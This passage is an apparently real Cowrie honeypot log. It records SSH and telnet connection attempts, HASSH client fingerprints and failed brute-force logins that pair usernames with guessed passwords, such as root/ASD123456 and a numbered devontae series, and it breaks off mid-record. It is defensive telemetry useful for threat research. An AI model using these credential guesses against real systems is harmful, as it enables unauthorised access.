{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:05.060696Z","src_ip":"50.99.170.152","session":"4333765b5467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max","message":"login attempt [root/max] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:05.339662Z","src_ip":"50.99.170.152","session":"4333765b5467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:06.399191Z","src_ip":"50.99.170.152","session":"4333765b5467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014717578888,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:08.161344Z","src_ip":"45.186.135.53","session":"0b357c7de572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00088930130005,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:11.006062Z","src_ip":"45.186.135.53","session":"cd3ec16abe37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131559371948,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:11.343458Z","src_ip":"45.186.135.53","session":"0bb4263f7c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20194,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa31830d309","protocol":"telnet","message":"New connection: 45.186.135.53:20194 (159.203.135.109:23) [session: 4fa31830d309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:11.671752Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.135.53","src_port":20231,"dst_ip":"159.203.135.109","dst_port":23,"session":"a421410ee5ee","protocol":"telnet","message":"New connection: 45.186.135.53:20231 (159.203.135.109:23) [session: a421410ee5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:11.952589Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54544,"dst_ip":"159.203.135.109","dst_port":22,"session":"34961152d355","protocol":"ssh","message":"New connection: 159.203.92.129:54544 (159.203.135.109:22) [session: 34961152d355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:16.094539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:16.332072Z","src_ip":"159.203.92.129","session":"34961152d355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:16.335556Z","src_ip":"159.203.92.129","session":"34961152d355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"v1isagoodgirl!","message":"login attempt [ansible/v1isagoodgirl!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:17.360501Z","src_ip":"159.203.92.129","session":"34961152d355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:18.745912Z","src_ip":"159.203.92.129","session":"34961152d355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":57841,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c1af316c34d","protocol":"ssh","message":"New connection: 81.30.162.19:57841 (159.203.135.109:22) [session: 1c1af316c34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:28.211297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:28.215959Z","src_ip":"81.30.162.19","session":"1c1af316c34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:28.332496Z","src_ip":"81.30.162.19","session":"1c1af316c34d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASD123456","message":"login attempt [root/ASD123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:28.827007Z","src_ip":"81.30.162.19","session":"1c1af316c34d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":23154,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd545b82b2b","protocol":"ssh","message":"New connection: 213.209.159.159:23154 (10.17.0.5:22) [session: bdd545b82b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:29.857879Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:29.946427Z","src_ip":"81.30.162.19","session":"1c1af316c34d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:29.973510Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:30.051706Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae","message":"login attempt [devontae/devontae] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:30.450591Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae1","message":"login attempt [devontae/devontae1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:31.536685Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae123","message":"login attempt [devontae/devontae123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:32.621254Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae1234","message":"login attempt [devontae/devontae1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:33.705919Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devontae","password":"devontae12345","message":"login attempt [devontae/devontae12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:34.790474Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:35.876357Z","src_ip":"213.209.159.159","session":"bdd545b82b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58396,"dst_ip":"159.203.135.109","dst_port":22,"session":"87b2d79f4522","protocol":"ssh","message":"New connection: 159.203.92.129:58396 (159.203.135.109:22) [session: 87b2d79f4522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:40.985228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:41.161383Z","src_ip":"159.203.92.129","session":"87b2d79f4522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:41.165586Z","src_ip":"159.203.92.129","session":"87b2d79f4522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"v2isagoodboy!","message":"login attempt [ansible/v2isagoodboy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:42.122227Z","src_ip":"159.203.92.129","session":"87b2d79f4522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:43.254674Z","src_ip":"159.203.92.129","session":"87b2d79f4522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":52366,"dst_ip":"159.203.135.109","dst_port":22,"session":"028eb6915bdc","protocol":"ssh","message":"New connection: 50.99.170.152:52366 (159.203.135.109:22) [session: 028eb6915bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:54.748719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:54.754150Z","src_ip":"50.99.170.152","session":"028eb6915bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:54.813458Z","src_ip":"50.99.170.152","session":"028eb6915bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123123!","message":"login attempt [root/Abc123123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:55.091633Z","src_ip":"50.99.170.152","session":"028eb6915bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:56.153141Z","src_ip":"50.99.170.152","session":"028eb6915bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":60576,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eeedf4d0bf5","protocol":"ssh","message":"New connection: 162.223.91.130:60576 (10.17.0.5:22) [session: 2eeedf4d0bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:59.257634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:59.261793Z","src_ip":"162.223.91.130","session":"2eeedf4d0bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:59.280024Z","src_ip":"162.223.91.130","session":"2eeedf4d0bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"power123","message":"login attempt [admin/power123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:14:59.384566Z","src_ip":"162.223.91.130","session":"2eeedf4d0bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:00.405913Z","src_ip":"162.223.91.130","session":"2eeedf4d0bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35630,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ecc6ba6ce0b","protocol":"ssh","message":"New connection: 159.203.92.129:35630 (159.203.135.109:22) [session: 7ecc6ba6ce0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:08.150557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:15:08.462996Z","src_ip":"159.203.92.129","session":"7ecc6ba6ce0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds